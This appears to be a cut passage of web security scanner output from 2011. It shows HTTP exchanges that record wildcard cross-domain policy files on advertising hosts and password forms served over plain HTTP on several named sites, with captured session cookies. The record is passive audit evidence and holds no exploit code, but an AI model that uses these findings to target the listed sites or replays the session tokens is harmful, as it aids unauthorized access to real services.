GET /clientaccesspolicy.xml HTTP/1.0
Host: a.rad.msn.com

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/xml
Last-Modified: Thu, 14 Apr 2011 22:28:48 GMT
Accept-Ranges: bytes
ETag: "0d09952f3facb1:0"
Server: Microsoft-IIS/7.5
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Access-Control-Allow-Origin: *
Date: Fri, 06 May 2011 20:28:07 GMT
Connection: keep-alive
Content-Length: 337

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<gran
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: ad.doubleclick.net

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 314
Last-Modified: Wed, 21 May 2008 19:54:04 GMT
Date: Fri, 06 May 2011 21:50:02 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: b.rad.msn.com

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/xml
Last-Modified: Thu, 14 Apr 2011 22:28:48 GMT
Accept-Ranges: bytes
ETag: "0d09952f3facb1:0"
Server: Microsoft-IIS/7.5
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Access-Control-Allow-Origin: *
Date: Fri, 06 May 2011 20:28:07 GMT
Connection: keep-alive
Content-Length: 337

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<gran
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: c.scout.com

HTTP/1.1 200 OK
Cache-Control: private, no-cache, proxy-revalidate
Pragma: no-cache
Content-Type: text/xml
Last-Modified: Fri, 05 Nov 2010 18:44:56 GMT
Accept-Ranges: bytes
ETag: "044698a197dcb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Date: Fri, 06 May 2011 19:29:07 GMT
Connection: keep-alive
Content-Length: 340

...<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<g
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: cdn.eyewonder.com

HTTP/1.0 200 OK
Cache-Control: max-age=18000
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "a683d7574fd1ca1:13a0"
Server: Microsoft-IIS/6.0
p3p: policyref="/100125/w3c/p3p.xml", CP="NOI DSP LAW NID PSA OUR IND NAV STA COM"
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 19:31:59 GMT
Last-Modified: Thu, 01 Apr 2010 03:56:43 GMT
Expires: Fri, 06 May 2011 20:31:57 GMT
Content-Length: 268
Connection: close

<?xml version="1.0" encoding="utf-8"?><access-policy><cross-domain-access><policy><allow-from http-request-headers="*"><domain uri="http://*"/></allow-from><grant-to><resource path="/" include-subpath
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: clk.atdmt.com

HTTP/1.1 200 OK
Content-Length: 312
Content-Type: image/gif
Date: Sat, 07 May 2011 01:22:04 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: haymarketbusinesspublications.122.2o7.net

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:50:03 GMT
Server: Omniture DC/2.0.0
xserver: www301
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: img.widgets.video.s-msn.com

HTTP/1.0 200 OK
Cache-Control: max-age=86400
Content-Type: text/xml
Last-Modified: Thu, 22 Jul 2010 20:17:26 GMT
Accept-Ranges: bytes
ETag: "5764ece6da29cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 19:30:35 GMT
Content-Length: 348
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="http://*" />
</allow-from>

...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: om.expedia.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:33:41 GMT
Server: Omniture DC/2.0.0
xserver: www54
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: rad.msn.com

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/xml
Last-Modified: Thu, 14 Apr 2011 22:28:48 GMT
Accept-Ranges: bytes
ETag: "0d09952f3facb1:0"
Server: Microsoft-IIS/7.5
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Access-Control-Allow-Origin: *
Date: Fri, 06 May 2011 19:30:46 GMT
Connection: keep-alive
Content-Length: 337

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<gran
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: secure-us.imrworldwide.com

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:50:40 GMT
Server: Apache
Cache-Control: max-age=604800
Expires: Sat, 14 May 2011 01:50:40 GMT
Last-Modified: Mon, 19 Oct 2009 01:46:36 GMT
ETag: "ff-4adbc4fc"
Accept-Ranges: bytes
Content-Length: 255
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8" ?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*" />
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true" />
</grant
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: spe.atdmt.com

HTTP/1.0 200 OK
Content-Type: text/xml
Content-Length: 312
Allow: GET
Expires: Sun, 08 May 2011 15:21:17 GMT
Date: Sat, 07 May 2011 11:30:17 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: www.gofileroom.com

HTTP/1.1 200 OK
Content-Length: 390
Content-Type: text/xml
Last-Modified: Fri, 04 Jun 2010 19:58:26 GMT
Accept-Ranges: bytes
ETag: "05d5c4b204cb1:65d5"
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:44:13 GMT
Connection: close
Set-Cookie: BIGipServerGFR_WWW_HTTP=3107511818.20480.0000; path=/

...<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="http://*" />
<domain uri="https://*" />
...[SNIP]...

GET /clientaccesspolicy.xml HTTP/1.0
Host: www.gofileroom.com

HTTP/1.1 200 OK
Content-Length: 390
Content-Type: text/xml
Last-Modified: Fri, 04 Jun 2010 19:58:26 GMT
Accept-Ranges: bytes
ETag: "05d5c4b204cb1:338c5"
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:44:06 GMT
Connection: close
Set-Cookie: BIGipServerGFR_WWW_HTTP=2218319370.20480.0000; path=/

...<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="http://*" />
<domain uri="https://*" />
...[SNIP]...

GET /reglogin.aspx HTTP/1.1
Referer: http://hmficweb.hinghammutual.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hmficweb.hinghammutual.com
Cookie: ASPSESSIONIDSQCDDDAA=HPHJKIBCNPBPFKFPCLEPAMCN; ASP.NET_SessionId=kvicvmmhrzmxk4i3unxfj445
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:35:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 7626

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
       <title>Hingham Mutual</title>
       <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
       <meta name=
...[SNIP]...
<body class="login" onload="Form1.txtUsername.focus();">
       <form name="Form1" method="post" action="reglogin.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="Form1">
<div>
...[SNIP]...
<div class="formField">
                                           <input name="txtPassword" type="password" id="txtPassword" class="textbox" />
                                       </div>
...[SNIP]...

GET / HTTP/1.1
Referer: http://login.vindicosuite.com/AccountManager/ResetPassword/index.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.vindicosuite.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2262
Content-Type: text/html
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDSSSCTDAT=ALNPJKACIDHPPEIGPANPDPFM; path=/
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:30:14 GMT

<html>

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

   <link rel="stylesheet" type="text/css" hre
...[SNIP]...
<div class = "loggedInAs">

           <form method="POST" action="vindico_dynamic.asp" name = "MainForm">
               <table cellpadding="0" width="317" style="border-collapse: collapse" border="1" bordercolor="#C0C0C0" id="table3" height="152">
...[SNIP]...
<td width="183" height="25"><input type="password" name="password" size="8"></td>
...[SNIP]...

GET /AccountManager/ResetPassword/index.asp?message=Invalid%20Username%20/%20Password HTTP/1.1
Host: login.vindicosuite.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSSSCTDAT=ANMPJKACDGDFKLLGFIHDPGOP

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3660
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:19:36 GMT

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
   <title>Password Reset</title>

   <script type="text
...[SNIP]...
</div>

<form name = "frm" id="frm" action = "" method = "Post" autocomplete="off">
<table cellpadding="5" cellspacing="0" border = "0" style="width: 100%;">
...[SNIP]...
<td width="100%">
<input type ="password" name="existingPassword" value= "">
</td>
...[SNIP]...
<td width="100%">
<input type ="password" name="newPassword" value="">
</td>
...[SNIP]...

GET /default.asp?message=Invalid%20Username%20and%20or%20Password HTTP/1.1
Host: login.vindicosuite.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSSSCTDAT=ANMPJKACDGDFKLLGFIHDPGOP

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2294
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:21:14 GMT

<html>

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

   <link rel="stylesheet" type="text/css" hre
...[SNIP]...
<div class = "loggedInAs">

           <form method="POST" action="vindico_dynamic.asp" name = "MainForm">
               <table cellpadding="0" width="317" style="border-collapse: collapse" border="1" bordercolor="#C0C0C0" id="table3" height="152">
...[SNIP]...
<td width="183" height="25"><input type="password" name="password" size="8"></td>
...[SNIP]...

GET /useradmin/Authenticate.asp?GroupId=85732&ComeBack=/useradmin/YourCPPortfolio.asp HTTP/1.1
Host: www.advisorsquare.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2145
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQABRSTCR=OOBHGKOBOBCFHHIMIHNKOOLC; path=/
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:36:43 GMT

<html><head><meta NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"></head><body link=#000000 alink=#000000 vlink=#000000 bgcolor=#ffffff >

           <form action="authenticate.asp" method="post">
       <div align="center">
...[SNIP]...
<td BGCOLOR="#5b5b5a"><input type="Password" name="Password"></td>
...[SNIP]...

GET /alumni_members/mylisting/index.html HTTP/1.1
Host: www.alumniconnections.com
Proxy-Connection: keep-alive
Referer: http://www.harrisconnect.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 06 May 2011 17:29:33 GMT
Content-type: text/html
Last-modified: Thu, 30 Apr 2009 03:01:15 GMT
Content-length: 8178
Etag: "1ff2-49f9147b"
Accept-ranges: bytes

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
</p>
<form action="olq_redirect.cgi" method="post" Name="OLQId" onSubmit="return checkField();">
<fieldset>
...[SNIP]...
</label> <input type="password" name="pass" size="14" maxlength="20"></li>
...[SNIP]...

GET /login_form.asp HTTP/1.1
Host: www.eneighborhoods.com
Proxy-Connection: keep-alive
Referer: http://www.eneighborhoods.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCCRACBCR=GBFHNDMBEDDPHNENMGKPCMIA; TS825c04=63b4e3a605e4e95bc082d958cd9b28e09ac070c34f9e04364dc44124

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:40:39 GMT
Content-Length: 4661
Content-Type: text/html
Cache-control: private
Set-Cookie: TS825c04=63b4e3a605e4e95bc082d958cd9b28e09ac070c34f9e04364dc44124; Path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">


<script
...[SNIP]...
<td>
                       <form method="post" name="formlogin" action="checklogin.asp?page=1" onSubmit="return verifylogin()" ID="Form1">
                           <table width="200" border="0" cellpadding="0" cellspacing="0" bgcolor="#d8e1eb">
...[SNIP]...
<div align="left">
                                           <input type="password" name="password" size="22" /></div>
...[SNIP]...

GET /lbmc/ HTTP/1.1
Host: www.gofileroom.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServerGFR_WWW_HTTP=2251873802.20480.0000

HTTP/1.1 200 OK
Cache-Control: No-cache
Content-Length: 10672
Content-Type: text/html
Expires: Sat, 07 May 2011 01:43:13 GMT
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCQQDACQB=MCGPLMNBAICKPDCMOMOHHOLJ; path=/
Date: Sat, 07 May 2011 01:44:13 GMT

<script language="javascript" type="text/javascript">
var protocol = "https://"
var server = "www.gofileroom.com"
var vRoot = ""
var gj= '/lbmc/Default.asp';
var httpAddress = window.location.h
...[SNIP]...
<table cellpadding="0" cellspacing="5" border="0" width="274" height="158">
                                       <form id="frmlogin" action="default.asp" method="post">
                                       <input type="hidden" name="txtXML" value="">
...[SNIP]...
<td align="left" bordercolor="#000000">
                                        <input id="password" type="password" class="form" name="password" style="border:1px solid #005A3C; width: 170;height:20" size="20">
                                        </td>
...[SNIP]...

GET /user HTTP/1.1
Host: www.lbmc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=224675399.1304749048.1.1.utmgclid=CPPNuPTV1KgCFeM85QodgmKbjA|utmccn=(not%20set)|utmcmd=(not%20set); SESS083a1ac464c2b3bbfee975b7136aef65=u46gksfej3ltndtpup8vgslkp2; has_js=1; __utma=224675399.208570725.1304749048.1304749048.1304749048.1; __utmc=224675399; __utmb=224675399.7.10.1304749048

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:36:34 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
Last-Modified: Sat, 07 May 2011 01:16:10 GMT
ETag: "76f8bd4cc9a9795d232607337f136cda"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 36665

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:og="http://opengr
...[SNIP]...
</div><form action="http://www.lbmc.com/user" accept-charset="UTF-8" method="post" id="user-login">
<div>
...[SNIP]...
</label>
<input type="password" name="pass" id="edit-pass" maxlength="128" size="60" class="form-text required" />
<div class="description">
...[SNIP]...

GET / HTTP/1.1
Host: www.resiteonline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:52:13 GMT
Server:
Content-Length: 8284
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <m
...[SNIP]...
</h3>
       <form action="http://app.resiteit.com/control/" method="post" enctype="application/x-www-form-urlencoded">
       <div id="loginbox">
...[SNIP]...
<label>Password    <input type="password" name="Password" id="Password" /></label>
...[SNIP]...

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:37:36 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=a66e1734b752a527fe65db3fafc4b523; expires=Fri, 06 May 2011 19:37:36 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</h1>
<form method="post" name="fRegister" action="/register.php">
<table>
...[SNIP]...
<td><input name="tPassword" id="tPassword" type="password" value="" class="textBoxSize" maxlength="32" /></td>
...[SNIP]...
<td><input name="tRePassword" type="password" id="tRePassword" class="textBoxSize" maxlength="32" /></td>
...[SNIP]...

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:37:36 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=a66e1734b752a527fe65db3fafc4b523; expires=Fri, 06 May 2011 19:37:36 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<br />
               <form method="post" name="fTopLogin" action="/login.php">
                   <input name="tEmail" id="tEmail" type="text" value="Email" onfocus="if('Email'==this.value)this.value=''" onblur="if(''==this.value)this.value='Email'" />
                   <input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
                   <input type="submit" value="Login" class="button" />
...[SNIP]...

GET /blog/ HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.3.10.1304721456

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:39:52 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
X-Pingback: http://www.socialfollow.com/blog/xmlrpc.php
Set-Cookie: PHPSESSID=f9e5973c7ff9e78b9f821853443b2eb5; expires=Fri, 06 May 2011 19:39:55 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 96431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head pro
...[SNIP]...
<br />
               <form method="post" name="fTopLogin" action="/login.php">
                   <input name="tEmail" id="tEmail" type="text" value="Email" onfocus="if('Email'==this.value)this.value=''" onblur="if(''==this.value)this.value='Email'" />
                   <input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
                   <input type="submit" value="Login" class="button" />
...[SNIP]...

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.1.10.1304721456
Content-Length: 31

tEmail=Email&pPassword=Password

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:37:53 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=71434cdaab7d48ca4d16e33577c1485b; expires=Fri, 06 May 2011 19:37:53 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</p>
<form method="post" name="fLogin" action="">
<table>
...[SNIP]...
<td><input name="pPassword" id="pPassword" type="password" class="textBoxSize" /></td>
...[SNIP]...

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
